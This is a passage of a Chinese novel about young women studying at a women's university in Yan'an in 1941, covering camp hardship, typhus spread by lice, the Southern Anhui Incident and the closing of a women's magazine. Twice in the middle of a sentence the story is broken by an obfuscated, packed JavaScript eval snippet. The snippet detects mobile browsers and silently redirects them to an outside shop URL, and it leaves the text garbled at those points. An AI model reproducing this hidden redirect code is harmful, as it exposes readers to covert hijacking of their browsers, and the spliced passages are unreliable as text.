果然,大略谈过了选举之后,何敏修便倾诉:“刚去的时候,真的感觉很难受啊,睡火炕倒是罢了,我们在学校里住窑洞,本来也是睡炕,可是农民是全家男女老少挤一张大炕,我去了一看,没有我的炕,就只好和他家的女孩子靠在一起睡。这倒是还罢了,最主要的是,他们不讲卫生,你的毛巾牙刷,他们拿起来就用,好像是他们自己的,而且还不洗澡,倘若洗澡了,可是一件很隆重的事情呢,弄得身上都是跳蚤,我到那里虽然是隆冬,却也有跳蚤,你们看把我身上给咬得……” 何敏修捋起棉袄的袖子,让她们看小臂上的红点点,有一些还抓破了。 熊晖看过了,咋着舌头说:“从前听说陕北这边的人,一辈子只洗三次澡,出生时一回,结婚时一回,死后装殓的时候是第三回,现在看来可能真的是这个样子呢。” 黄菲想象着当时的场景,也不由得感觉头皮发麻,有跳蚤啊,这样浑身发痒,还怎么睡觉?而且还要给人随便拿用自己的毛巾牙刷,毛巾也还罢了,牙刷给别人用过了,自己还怎样用呢?哪怕是用热水烫过,也仍然感觉恶心,在宿舍里,大家有时候会共用洗脸盆,自己还会暗暗地不高兴,好在同学们都有自己的牙刷,没有借用别人牙刷的习惯。 何敏修这时轻轻一笑:“虽然是艰苦,不过临出发的时候,领导告诫我,‘要深入群众,必须和群众打成一片,不能嫌脏,不要怕长虱子’,便把这些不耐烦都放在一边,和他们一起生活得久了,便发现其实都是勤劳、朴实的人,于是感觉到其美好。” 黄菲恍然大悟,重重地点头:“是啊,谢冰莹就说过的,她当年参加革命军,虽然遇到了从未经受过的困难,但是她却以为很是幸福呢。” 于是黄菲便朗声背诵那一段文字:“‘我们虽然是睡在地上,睡在草堆上如猪栏里的小猪一般,虽然蚊子咬出了我们的鲜血,虽然鸡尿牛粪染脏了我们的衣服,虽然有种闻所未闻的臭气塞住我们的鼻孔,虽然有些见所未见的污物摆在我们的面前,然而我们精神之乐,竟战胜了物质之苦。’” 何敏修微微含笑:“黄菲看来很喜欢谢女士的这本《从军日记》,我从前也读过的,很有意思的书。” 黄菲兴奋得两眼放光,真的是知音相见:“是的是的,我就爱读这本书,当初在家里,偶然从书房里翻出了这本旧书,那时候识字还不多,读得磕磕绊绊,就去央求母亲念来听,母亲给我从头到尾念过一遍,我听得好开心啊!那本书就再没送回书房,从此成了我一个人的,这些年时常拿出来看,差不多都能背下来。” 毕竟册子不厚,中间还有一些插图,这些年反反复复,反反复复地读,虽然没有刻意去记忆,然而相当多的段落都能够背诵,之前景斌曾经问她,最喜欢哪位作家,她回答是张恨水,那是真的,不过倘若景斌问她,最喜欢的是哪本书,她只怕就要答复,是《从军日记》。 只因为谢冰莹的书,她只读过这么一本,在她心目中,谢冰莹虽然传奇,但还不能称得上是自己最喜欢的作家,她只是格外爱这本书,还有谢冰莹的那一段经历,当初离开家,别的书都抛下了,唯独带了这一本,在西安八路军办事处,住在招待所里,那本书大家传着看,后来就不知传到哪里去了。 熊晖脸上一片好奇的神色,问起这本书,于是大家便讨论起谢冰莹的这本成名之作,十几年前的旧作,当年曾经名噪一时,这些年逐渐淡下去,文坛许多后起之秀,况且如今的时势,也不再是大革命的年代,尤其让何敏修感觉有点荒诞的,是谢冰莹这本书,其实是鼓吹国民党的,“咸宁满街都是我们的青天白日旗帜飘扬”,而更为讽刺的是,在那个时候,“反动派造谣‘共产共妻’”,也是说的国民党,而不是共产党,到后来国民党把这些污水都泼到了共产党的头上。 于是何敏修便说:“黄菲是不是从小就想当花木兰?” 这样一位民族女英雄,相对没有政治色彩,不涉及国共两党之争。 黄菲咯咯地笑:“花木兰自然是很让人敬仰的,另外我从小听洪宣娇的故事,那一位巾帼英雄太神奇了,我从小就很向往洪宣娇。” 太平天国那一场声势浩大的战争,自从民国鼎革之后,便不再给人当做是乱匪,而称呼为“革命”了,尤其在两广,更是为人津津乐道,洪秀全是广东人,而太平军揭竿而起则是在广西,距离桂林几百公里之外的桂平金田,像是父亲黄皓这样的人,虽然还把太平天国当做是“犯上作乱”,尤其是这些年共产党逐渐兴起来,他谈起洪秀全,更加没有好脸色,不过在市井乡村,那些种田的,织布的,女佣男工,闲着谈天的时候讲起太平天国,都是眉飞色舞,很是有味。 自己的乳母詹妈妈就曾经和自己讲:“当年的洪宣娇,萧王娘,天王的姐姐,骑着一匹枣红马,手中两把柳叶钢刀,挥起来好像落雪一样……” 当时听得自己心驰神往,花木兰的故事虽然传唱千古,毕竟年代久了,让人感觉仿佛只是一个传说,就如同女娲盘古一般,洪宣娇确实相当切近的人物,太平天国到现在,不到百年,许多故事依然是活生生的,那些人依然鲜活,好像就站在自己面前。 所以纵然父亲一再说:“洪宣娇是假的,不过是给人附会谣传,就好像苏三娘一样,仿佛神乎其神,其实本来是个很平常的乡下妇人,借着萧朝贵才为人传说。” 然而黄菲依然向往不已,有时候背着父亲,便向宁妈妈问起洪宣娇。 偏巧宁妈妈对这些故事也是熟悉得很,她乃是大户人家的女佣,见闻更开阔一层了,便绘声绘色地讲起杨秀清背信弃义,与洪宣娇冷淡了,又迷恋上傅善祥,洪宣娇愤恨不已,便联络了许多人,拥戴天王,杀死杨秀清。 黄菲耳朵里听着故事,头脑中设想着当时的场景,只觉得目眩神迷,好厉害的洪宣娇啊,自己将来并不奢求能够像她那样,成为一个掀起巨大风浪的人,只要可以成为一个女战士,也就很满足了。 见黄菲这样兴致勃勃地讲述洪宣娇,何敏修感觉很有趣,眼神中满是趣味地看着她,参加革命的女同志之中,以花木兰为榜样的并不少见,然而像是黄菲这样,受到洪宣娇激励的,倒很是新鲜,听着洪宣娇的故事,何敏修感到,自己身上给虱子咬过的地方也不再那么痒了。 又过了两天,一月十七号礼拜五的晚上,黄菲和几个同学坐在火炕上,热热闹闹地说着话: “这里的人真有意思,把‘我’称作‘饿’,说到‘我怎么怎么’,便是‘饿怎么怎么’。” “陕北的女孩子真是壮实呢,身体圆圆的,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048741|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一个桶,嘻嘻嘻嘻嘻……” “这里可惜很少吃到白米,不过延安的馍很好吃,白面馍,很有嚼劲的,倘若能时常吃到这种馍,那也是很好的。” 黄菲猛点头,表示赞成:“陕北的馍真是好,虽然没有油,但很香,越嚼越香,有了这样的馍,我就很少想念桂林的米粉。” 起初真是不习惯,这里要么是小米,要么是馍,有馍吃就是改善伙食了。 陕北的馍其实是一种白面的发面饼,在铁锅里烙熟,不用加油的,烙到两面微微焦黄,就可以吃了,非常的劲道,吃馍的时候,用牙齿狠狠咬住,往下一撕,便扯下一块来,把那一小块馍就在口中细细地嚼,那一股麦香便渐渐地散发出来,虽然只是白面,不加任何调味料,然而却香得很,吃馍的时候倘若能有一碗羊肉汤,人便快活得仿佛飞到了天上,因此在逐渐习惯之后,延安的馍缓解了部分思乡之情。 其她人嘻嘻地笑,潘岳荣说道:“黄菲,总是听你提起家乡的米粉,我想那米粉纵然再鲜美,终究不过是米粉而已,哪里比得上我们苏州,一年四季那许多好吃的东西?” 苏州的菜肴茶食,那可是独步中国的,苏州人是顶懂得吃,也讲究吃,于是潘岳荣便将苏州的美食一样样报出来:鼠桂鱼、清汤鱼翅、响油鳝糊、西瓜鸡、母油整鸡、太湖莼菜汤、翡翠虾斗、松子糖,玫瑰瓜子,虾子酱油,枣泥麻饼…… 听得大家口水直流。 熊晖不甘落后,连忙说:“食在广东,我们广东的师傅最擅长烧菜……” 听她们一个个报菜名,黄菲感觉受到了轻视,在她们话语的缝隙之间赶忙插话:“你们不要小瞧我们桂林的米粉,那卤水可很是讲究的,要有花椒、八角、茴香、草果、丁香,好多好多的,单是我听人说过的,就有十几种材料,缺一样也不可以的,熬卤水很费功夫,加猪骨牛骨要熬几个时辰呢,另外还要加我们桂林的辣椒酱,把辣椒酱往煮好的米粉里那么一拌,那味道简直是天上地下没有东西能够比较,我们桂林人,一天也不能不吃米粉。” 陈露云歪靠在那里,笑得身上发颤:“晓得了,桂林的米粉是天下第一等的美味,等什么时候我们去广西,你请我们吃米粉。” 黄菲把胸脯一挺,拍着胸口说:“这个你放心,都包在我身上,等将来抗战胜利了,你们来桂林玩,我们要去漓江痛痛快快坐船看风景,还要吃桂林的米粉,我知道平乐有一家顶好的馆子,就在我家那条街的后面……” 黄菲的家乡,是桂林的平乐。 她们正在这里说着,忽然有人一推门冲了进来:“你们还在这里嘻嘻哈哈,□□背叛革命了,他说新四军‘叛乱’,要取消新四军的番号!” 黄菲转头一看,正是潘岳荣,她忙问道:“岳荣,你说的是真的吗?” 高明霖也说:“是啊,前几天只听说,安徽那边新四军和白军打得很激烈,但应该是当地的军阀,委员长想来并不知道,倘若委员长出面说话不要打了,当地的军阀总该给他一点面子,或许就没事了,莫非竟然是他安排的么?” 潘岳荣连连跺脚:“你怎么还如此天真?分明就是他布置的,现在全都明白了,连遮掩都不肯再遮掩一下,都是他的诡计,这个委员长,只顾了要对付共产党,根本不在乎正在侵略中国的日本人。我这是刚刚在教育长那里听来的消息,千真万确,你们很快就能看到了。” 这样一个消息,如同一桶冰水一般浇在了所有人的头上,登时大家都仿佛在这样的天气,下到冰窟窿里洗了一个彻骨冰冷的澡,纷纷你看看我,我看看你,片刻之后,仿佛头脑才苏醒过来,黄菲担忧地说:“不知道新四军里面的人都怎么样了,他们能冲得出去吗?” 熊晖也说:“这样岂不是便宜了日本人?落得给人家省了力气,倒是给鬼子帮了大忙。” 陈露云则一下子从炕上跳起来,赤着脚站在那里,张着两只手,不住转着头向左右望,张皇地问:“国军接下来要做什么?会不会打到延安来?我们在这里,有没有危险?” 她这几句话一说出来,其她人登时都向她投去了白眼,如今最为危急的是新四军的指战员,她远在延安,却只顾想着自己的安全。 7. 第七章 裂痕 第七章 裂痕 因为忽然之间发生了这样的事情,这一个春节,大家都没有心情去庆祝,二十六号除夕的时候,本应该最是欢喜热烈,然而此时却人人都提不起精神,都是心头沉甸甸,延安街头老百姓的鞭炮声,听在耳朵里也改变了味道。 同学们聚在一起议论: “□□真可耻,背信弃义!” “亲者痛,仇者快。” “‘千古奇冤,江南一叶;同室操戈,相煎何急’,周副主席说得真对啊。” 黄菲手里捏着筷子,望着面前的小米掺大米饭:“如今一想到‘国共合作饭’,我就觉得一阵恶心想呕。” 国共合作,多么美好啊,当时大家真的都是全心全意,哪知却是这样的结果呢?从前是有多真诚多热切,如今就有多失落,想来还是自己太天真,居然信以为真,而那边何曾当真呢?不过是欺骗利用罢了。 陈露云也是一脸焦急:“现在要离开延安,还走得成吗?” 其她人于是向她侧目而视。 黄菲差一点用手蒙起脸来,好丢人! 自从事变发生,露云已经不止一次说过这个话,在学校内说也就罢了,有时候到外面去,对着男同学男同志,她也要说,这是多么不好意思啊,让人以为女子不能革命,都是这样的胆小鬼,果然有一些男同志已经偷偷嘲笑起来了,他们那种轻视的眼神,实在让人难受,虽然不是在笑自己,可是自己脸上也是火辣辣。 露云怎么会想到这上面去呢?自从□□背叛统一战线,自己每天每夜想的都是那些英勇作战的英雄,他们冷吗?他们饿吗?他们受了伤,有人为他们医治吗?有人看护他们吗?面对重重围困的国民党军,他们的内心会是怎样的紧张与愤怒?他们会恐惧吗? 可是陈露云,她却一心在想这种时候能不能够离开延安。 一想到自己与这样的人同为奔向延安的女学生,向往革命的女爱国者,女子中的进步分子,中国最为觉悟的青年女性,黄菲就感到心里很不是滋味,仿佛是一种羞辱。 就在这样激愤的氛围之中,短暂的春节假日很快结束,女大重新开学了,生活重新变得紧凑起来,假期那短短的松散氛围很快便消散殆尽,黄菲每天抱着课本笔记簿,与同学们一起上课,课间大家便聚在一起,议论当前最要紧的事件,就是皖南事变,晚间在油灯下,黄菲用速记写着日记,如今她的速记技能愈发熟练了,几分钟便能写好一篇文字。 景斌曾经感叹:“我的笔跟不上我的头脑,脑子里想法很多,笔却往往来不及记下来,有时候一闪而过,便再也找不到了。” 黄菲则是少有这样的情形,她是心里想到什么,笔下就能写出什么,掌握了速记,便不很容易发生“来不及写”的状况,所以黄菲那一次听他这样诉苦,便笑着说:“等我再练得熟一些,你想到了什么,说给我,我就写下来给你。” 景斌笑道:“那么你就好像安娜·陀思妥耶夫斯卡娅,她就是一个很出色的速记员。” 黄菲是第一次听到这个名字,连忙便问:“那是谁?” 景斌给她说:“是陀思妥耶夫斯基的妻子。” 黄菲更加一头雾水:“陀思妥耶夫斯基又是谁?” “是俄罗斯一个很了不起的文学家,他在俄国文学界的地位,可以与托尔斯泰相比,我很喜欢他的《罪与罚》。” 黄菲登时就惭愧了,这么有名的一个作家,自己居然不知道,从前只听说过托尔斯泰,来到延安之后,还知道了高尔基,桂林纵然是粤西的名城,毕竟闭塞些,整个的广西,说起来总不脱蛮荒气象,所以在从前,但凡是对儿女学业用心的人,莫不把孩子送到广州去读书。 景斌并不像一般的热爱文学的青年,那么高深,那么严肃,他是很乐天的,总是乐呵呵,喜欢开玩笑,不过黄菲与他在一起,总是不知不觉间便有一种要低下头来的感觉,双方的学问实在差得太远,景斌是东北的流亡青年,来自哈尔滨,曾经在大学里修业,虽然没有读完,然而他的才学要高出自己许多,读过非常多的书,看问题也很有见解,时常就能提出新颖的想法,他的眼光也让人非常的佩服。 黄菲不是很喜欢广西的青年,毕竟她从小到大,看到的满眼都是男子的自傲,还有对女子的卑视,唯一的例外是她的哥哥,鼓励她投身革命,改变命运,所以当初一看到景斌这样一个东北学生,便感觉很是新奇,景斌带有北方人特有的爽朗,是个很明快的人,和他在一起,心境总是能够很晴朗,仿佛世上没有多少事值得忧愁,人也很淳朴善良,黄菲和他在一起,快活而又安心。 而且真的可以学到许多东西,景斌曾经学过俄文,所以他对俄国作品如数家珍,给黄菲介绍了许多俄国作家,引导她看《铁流》、《战争与和平》,《猎人笔记》、《静静的顿河》,还评价各部作品的特点。 苏联当代文学之中,景斌尤其喜欢《静静的顿河》,以为是一篇深沉古老的史诗,他尤其喜爱作品开篇那一首古歌: “我们光荣的土地不是用犁来翻耕…… 我们的土地用马蹄来翻耕, 光荣的土地上种的是哥萨克的头颅, 静静的顿河到处装点着年轻的寡妇……” 听到景斌用东北腔低声朗诵这首诗,他是那样的饱含感情,甚至眼里闪出泪光,一瞬间黄菲也感到一种荡气回肠,她有一种本能的直觉,景斌此时如此动情,不仅仅是为了他正沦陷于日寇铁蹄之下的东北故乡而悲叹,他是超越了个人的身世感情,为了人类一种广大的命运而慨叹。 大家正在聊着,忽然高明霖从外面走进来,带进一股冷风,进门便说:“你们听说了吗?敏修姐病了,已经送进了中央医院。” 黄菲一听,登时停了笔,抬起头来问道:“啊,是怎么回事?为什么忽然进医院的?” 熊晖则是道:“那一次我和黄菲去看她,就觉得她脸色不太好,果然是因为身体不舒服才回来的。” 高明霖点点头:“我听说她是发了几天的高热,起初还顶着,不肯去医院,到后来实在很危险了,同学们顾不得她的反对,把她送了过去。” 高明霖对何敏修很有好感,在她看来,何敏修是一个很有“政治觉悟”的人,比陕甘班、特别班的那些女同志要可亲可敬得多,那些同志并不是说就不好,但是高明霖总觉得,与她们有一层隔膜,不是很能接近。 起因是这样的,去年女大刚刚开学,一群女学生进了学校,便发现延安的学校果然与其她地方不同,要自己种菜,听说第二年春天还要开荒,当时一群十八九岁的女孩子便嘻嘻哈哈地每个人手里拿一把锄头,到菜田里面种白菜。 这样的日子过了几天之后,这一天到了工间休息的时候,十几个同学凑在一起闲聊,热热闹闹地说着出操,种菜,有乡村出身的同学便讲起从前养猪啦,养鸡啦,之类,大家听得很高兴。 忽然之间,那边一个差不多三十岁的女同志,大概是特别班的吧,叫做段葵芳的,冲着这边斜着眼睛,咧嘴笑起来:“嘿,学生小姐们,你们对放羊养鸡这些,觉得怎么样?” 一听她的口吻,这边潘岳荣几个人便有点尴尬,从前并没有接触过啊,然而倘若不回答,便显得自己这一方有些气短,高明霖大概是想着“输人不输阵”,琢磨了一下,便勉强说道:“啊……羊啊狗啊……都很可爱的。” 那边登时哄笑起来,段葵芳更是从鼻孔里发出一声嗤笑:“人家累得要死,你还当做可爱。” 真的是大小姐本色,她的神情显然便是如此。 这个时候,令所有人意想不到的是,看起来最为纤弱的黄菲居然挺身而出,扬着头说:“我晓得,这些我都做过的,我们在乡下,拾柴禾,套兔子,打猪草,捡鸡蛋……” 娓娓道来,说得头头是道,“牛粪羊粪不发好会烧根”,连段葵芳都渐渐收起了轻视的神色,这小姑娘讲的居然都是对的,高明霖则更是在心中给她暗暗鼓掌,太棒了! 此时何敏修笑着说了一句:“大家都是革命同志,何必计较高低?各自为革命尽心尽力,便是好的,我们来到学校,就是要互相学习,该学习劳动就学习劳动,需要学文化呢,就学习文化。” 高明霖陈露云这一帮资产阶级小资产阶级的小姐,是需要补习劳动课,然而工农出身的女同志,则多数需要加紧文化课的学习,比如段葵芳,大字不识几个呢,一到要学写字,就掐着脑仁嚷头疼,是出了名的了。 高明霖在一旁兴奋得连连点头,这件事便算过去了,各人仿佛都没有在意,只是从此以后,高明霖愈发事事要强,她本来便颇为好强,否则也不会抛弃家中优裕的生活,来延安参加革命,打那以后,更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048742|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡事争先,不肯落人后,无论是哪一科的学习,都要抢在前面,纺线也很快便熟练了,粗细很是均匀,还悄悄向黄菲打听应该怎样种菜,摩拳擦掌,只等明年春天大开荒。 另外高明霖也十分佩服何敏修,看看人家,就是有水平,说出来的话句句都能服人,本来么,都是来革命的,从前深受封建主义的压迫,谁瞧不起谁么!自己不过就是劳动上差了一点,学一学就会了,“世上无难事,只怕有心人”,就不信铲地放羊这些事自己不行! 于是一群女孩子便七嘴八舌议论起来: “啊呀这可真糟糕,我们明天课后去看看她吧!” “该拿一点什么东西过去好呢?” “我们凑一点钱,买几斤鸡蛋拿去给她补身体吧。” 麻德芳最是懂得生活,向来如同小妈妈一样,这时忙出主意道:“是啊是啊,鸡蛋羹容易消化,病人吃了好。” 黄菲自告奋勇:“我这里有钱,家里上一次寄来的钱,还剩有许多。” 所以这一阵花起钱来,颇有一点大手大脚,何况此时是敬爱的敏修姐病了,当然更加不在意钱。 这时候陈露云吃吃地笑:“你们发梦么?这个时候的延安,哪里会有鸡蛋?” 虽然过了除夕,已经进入正月,按江南的道理,便是春季了,然而在延安,却还是天寒地冻,延安的冬天是没有鸡蛋的。 当天晚上商量妥当之后,到了第二天下午,功课都结束了,同宿舍的几个人便在校门口碰头,呼啦啦涌出了女大,先是到街市上买了一点东西,很贵的砂糖,还有一点白面,在袋子里装好,便一路走去中央医院,预备到了那里,拜托护士同志煮给她吃。 路上还议论着: “延安点东西,是这样的贵。” “倘若看人家是不懂的呢,干脆拿坏的给你,要么就是要很高的价。” “所以说,‘无商不奸’。” “这里街边卖菜卖果的,许多都是农友呢。” 陈露云撇了撇嘴:“东西好不好的,还在其次,这里的人说起话来,很蛮横的,在阿拉上海,倘若这样说话,做不成生意的,店铺都要倒掉。” 黄菲抿嘴笑了一笑,要说延安的商人,尤其那些农友,和他们讨价还价,是很为难的,倒也未必怎样蛮横,只是让人感觉有些强硬,倘若还价稍稍多了一点,甚至有的时候只为还价这件事本身,便遭到拒绝,“不卖了!” 起初,黄菲是感到很有些委屈,又有一点气恼,简直想要哭起来,只为了他们有东西卖,便这样么?过了一阵,黄菲又想,这大概便是延安人的淳朴吧,不肯拐弯抹角讨好人,桂林城里的商人,倒是满脸笑容,客客气气的,却也不过是为了客人口袋里的钱罢了,哪里是本来的性格呢?心里不知在怎样的咒骂,怨客人太过挑剔,像是延安的生意人这样,直接便说“不卖”,可能倒是更爽直一些,这样纯真的性格啊! 就好像谢冰莹说的:“我见了他们朴质的土布衣服,我就恨了城市中的奢华;我见了他们那种忠实诚恳的态度,我就想起城里人的欺骗狡猾可怕。” 于是黄菲便又感觉到延安商人的可爱。 临近黄昏的时候,她们来到了中央医院,进门便问起何敏修的病情,一位护士向她们解说:“是伤寒,打了针,刚略有些退烧。” 高明霖说:“我们要看一看她,可以吗?” 护士点头:“可以的,离远一些,不要靠近,还有,病人不能多说话,你们看看就走吧,病房里也要保持安静。” 几个人答应了,便寻着何敏修的病房,轻轻推开门,果然看到何敏修如同一段树枝般,直直地躺在床上,闭着两只眼睛,面色蜡黄,是那样恹恹的,让人一看,一颗心便沉下去,一瞬间竟然担心她再不能醒过来。 黄菲与几个同学站得离病床二尺远,轻轻地呼唤:“敏修姐,敏修姐,你好点了吗?” 过了片刻,何敏修微微挑起眼皮,看到了她们,便勉力将眼睛更加睁大一点:“啊,你们来了。” 黄菲道:“敏修姐,你感觉怎么样?” “好点了。” 高明霖不由得跺脚:“怎么会忽然得了这样的病?” 何敏修苦笑一下:“虱子。” 虽然只是短短两个字,可是大家立刻全都明白了,是虱子传播了伤寒。 8. 第八章 什么人会离开延安? 第八章 什么人会离开延安? 这一天探望何敏修回来,第二天几个人就去了附近旅馆洗浴,洗的时间格外的久,格外的彻底,是大约三四点的时候过去的,到了傍晚时候,才终于从旅馆的大门走出来。 走在已经开始些微融雪的泥泞的路上,大家又聊起来: “这一回总算是洗得干净了,我觉得身上的皮都搓掉了一层。” “我也是,这才感觉安心了,身上绝不会有虱子跳蚤。” “说起来有点对不起敏修姐,昨天去看了她回来,就觉得身上有些发痒,总以为是蹦了跳蚤在我身上。” 虽然何敏修自从进了医院,已经换过了衣服,身上更是仔细清洁过一番,应该是已经没有这些小虫子在身体上,然而由于她是因为这个而发病住院,所以大家去探病一番回来,便总觉得身上有一点痒痒的,虽然解开衣服翻捡,并没有看到黑黑的小虫,然而莫名其妙就是不舒服,所以今天一定要来洗澡。 说到跳蚤虱子,黄菲来到延安之后,见识得可是不少了,简直成群结队,从前在故乡,哪里见过呢?不要说她后来去到父亲的家中,即使幼年时候在詹妈妈那里,身上也是不起跳蚤的,然而在延安,虱子跳蚤这一类虫简直无孔不入,称王称霸,倘若稍不留意,便要给咬得睡不着觉。 这倒也并不是说延安的卫生条件便多么的恶劣,家乡又是多么的干净,根源其实在于,这一片黄土地极端缺水。 水在这里,真的是宝贵啊,黄菲在来延安的路上,坐在卡车里放眼四望,也看到了,浩瀚的黄色平原上,一条条深深的沟壑,仿佛给巨大的刀锋切割出来的,然而里面却全不见水,就只是黄沙,使得黄菲头脑中发生了一种想象,那就是这些深沟其实是因为漫长而严峻的干旱,而开裂成这样,就好像大地皮肤上裂开的伤口。 在那个时候,还想不到洗澡的问题,这个难题是到了延安之后,真正生活在这里,才需要面对的,比起边区其她地方,延安毕竟还是好的,有一条延河流过,想来也是很容易理解,倘若没有这样一条河,怎么能聚集起这许多的人?对于一个城市来讲,没有一个像样子的水源,是不能够维持的,尤其女大还是在延河边上,所以夏天很方便下河洗澡,到了冬天,便可以去澡堂。 这是黄菲有时候想一想,便感觉有些心虚的,虽然立志投身革命,下定决心勇敢面对任何艰苦,不过直到如今,自己这爱清洁的癖性还是不能改,对于卫生,总有一种挑剔,这实在是有点太过“小资产阶级”了,倘若给段葵芳知道,只怕是要笑的,长征之中哪里能够讲得了那么多呢?还洗热水澡,还要到旅馆澡堂洗热水澡,打肥皂,难免又要给人当做是“娇小姐”了。 不过虽然有心克服这样的“娇滴滴”,黄菲却还是以为,目下尽量保持以往的习惯还是有理由的,还很不到需要自己满身虱子的时候,虱子臭虫爬得人身上痒,难以集中精神学习啊,将来等到自己上了前线,伏在战壕里,浑身都是硝烟泥土,自然说不到这些,到那时自己一定会适应的,不过暂时还是让旧日的影子在自己身上多停留一阵吧,虽然这样的想法有一点“得过且过”,不过黄菲想着,眼前还是先如此吧。 这一次去中央医院探病,何敏修那憔悴虚弱的样子,让黄菲发生了深深的触动,身上生虱子不仅仅是不舒服的问题,那是可能要命的,小的时候,黄菲便看到过有人因为伤寒病而死,那是詹妈妈的同村人,一个很壮健的男人,等她长大一些,读鲁迅的《祝福》,里面的那个山村中的男人如此强悍,却断送在了伤寒上,幼年看到的场景便恍然回到眼前,那一家办丧事,女人一身麻衣地哭。 又过了半个月,时间进入了三月,月初国民政府召开了国民参政会第二届会议,在各界强大的压力之下,□□在会上表示,“以后再亦决无剿共的军事”,事情到了这个时候,总算是表面上缓和下来,在延安的许多人都稍稍松了一口气,只等□□放人,许多被俘的新四军都承诺要释放的。 眼看这件事似乎已经过去,陈露云的心情也轻松起来,每天又是又说又笑了,而且也很少再提到离开延安。 陈露云这样的想法,让黄菲感觉很是奇怪,怎么会有人想要离开延安?她来到延安大半年时间,看到的奔向这里的人当然是不少,不过也确实有人离去,有的时候就听到人家说,“某某人回去了”,回去哪里?自然是回到外面那个腐化堕落的世界,至于是什么原因呢?有的是终究忍受不了延安的清苦,也有的人是以为,没有在这里找到自己的理想,黄菲曾经听人说过,“延安并不是像我想的那样,我在这里,不能找到自己想要的”,所以那个人就离开了。 黄菲就觉得很不能理解,为什么要离开呢?在自己看来,延安是中国,甚至是全世界最光明,最圣洁的地方,自己所需要的一切都在这里,在延安,自己感到无比的幸福。 要说延安的生活,其实并不是多么的舒适美好,陕西气候干燥,黄土高原尤其如此,黄菲自幼生长在空气湿润的桂林,对于延安这样的环境,一时间不是很能习惯,特别是到了冬天,脸上简直要干裂开来,嘴唇也总是脱皮,有时候还要渗出血丝。 不过对于她来讲,这些都不是很大的困扰,她爱延安,爱这里的自由与希望,这才是最重要的,延安那强大的魅力,在于她的精神,她的追求,因此,黄菲热爱这里的天,这里的云,这里的风,这里的黄沙,她简直爱延安的一切! 在黄菲眼里,陕北的风景也有一种别样的魅力,站在一望无际的平原上,举目望向远方,便可以想见“大漠孤烟直,长河落日圆”,就是这样一幅壮阔的画面啊,黄土高原,美得惊心动魄,那是桂林温润的山水比不上的,虽然也可以称为奇秀了,然而在黄菲看来,纵然再怎样巧妙,终究显得有一点小家子气,就好像一些诗词,雕琢得确实字句精美,然而那一种局促的气息却是挥之不去的,是脆弱文人特有的神经质,让人心胸不得舒展,黄土高原才是真正的恢弘大气,是一种亘古永恒。 所以她简直不能设想有人居然要离开延安,假如有一天自己离开了这黄金的乐园,那一定是非常痛苦的,实在难以想象是在怎么样的情况下,自己会远别了延安。 伤寒从二月一直延续到三月,还不见有消失的迹象,好在何敏修终于痊愈出院了。 三月八号这一天是礼拜六,黄菲中午散了课,饭也顾不得吃,急急地赶到图书室,去寻找《中国妇女》,这本杂志一般是每个月出两期,一号出一期,八号出第二期,今天正是出版的日子,黄菲向来是先睹为快,所以便匆匆赶来这里。 到了图书室,在惯常的地方一找,果然那一本崭新的《中国妇女》静静地躺在书架上,还散发着油印的清香,黄菲大喜过望,伸出手臂如同一只饿鹰,一把便抓在手里,又另外找了两本书,办理了手续之后,兴冲冲便回了窑洞,坐在炕上便翻开杂志,读了起来,《一年来抗日根据地的妇女生产运动》,作者是郭淑真。 黄菲一边读,一边拍着大腿,真好,妇女生产,妇女就是要从事生产劳动啊,这样才能够自食其力,就比如说自己,从小便看到母亲在父亲的家中受尽委屈,非常的愤慨,在十四岁那一年,曾经和母亲说要反封建家庭,将来和母亲一起独立出去住,再不受这个气了,母亲当时叹一口气,说:“你以后能顾好你自己就行了,不要管我。” 母亲虽然没有明说,但是黄菲心里明白,妈妈的意思显然就是,“你日后还不知去哪里找饭碗,那里还管得了我?我同着你一起搬出去,只怕娘两个一起饿死”。 说起女子职业,母亲总是看得特别艰难,“自立自强是好事,只要别累死自己”,然后便要说到嫁人,“依靠丈夫,诚然是寄人篱下,低人一等,不过毕竟还算有个指望,倘若失掉了这个,更加为难”。 听母亲说这样丧气话,黄菲满心不能甘愿,愈发的愤懑:“我就不信,男子生来就金贵,女子天生就贱,妈,我一定要挣出一条路来给你看看。” 从此更是发奋立志,在胸中翻涌着一股气。 来到延安之后,看到这里在组织妇女生产,黄菲心里鼓了一万次掌,这一下可好了,妇女能纺织能种田,自己就能养活自己,再不用看人脸色了,所以虽然是学业紧张,黄菲也积极投入到生产中去,自己种出来的白菜,味道是不一样的。 这时候其她人回来了,熊晖给她带来一个馍,黄菲一边啃馍,一边继续看,要快一点看完,已经答应了自己读完之后,要给其她人读的,然而她看着看着,翻到了最后一篇文章,是告别的终刊感言,这一期的杂志,就是《中国妇女》的最后一期。 黄菲登时便有些懵了,为什么会这 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不过没多久,这件事终究是给大家都知道了,消息传得特别快,不到两三天的时间,女大的许多学生就都晓得了,中午聚在一起吃饭的时候,同学们说话,便要提到这件事: “啊呀,《中国妇女》以后不出了啊,那我要看什么呢?” “是啊是啊,就喜欢看这本书,每个月眼巴巴地盼着,每次拿到了新书,欢喜得好像是过节,可是今后却不再出了,让人没得看。” 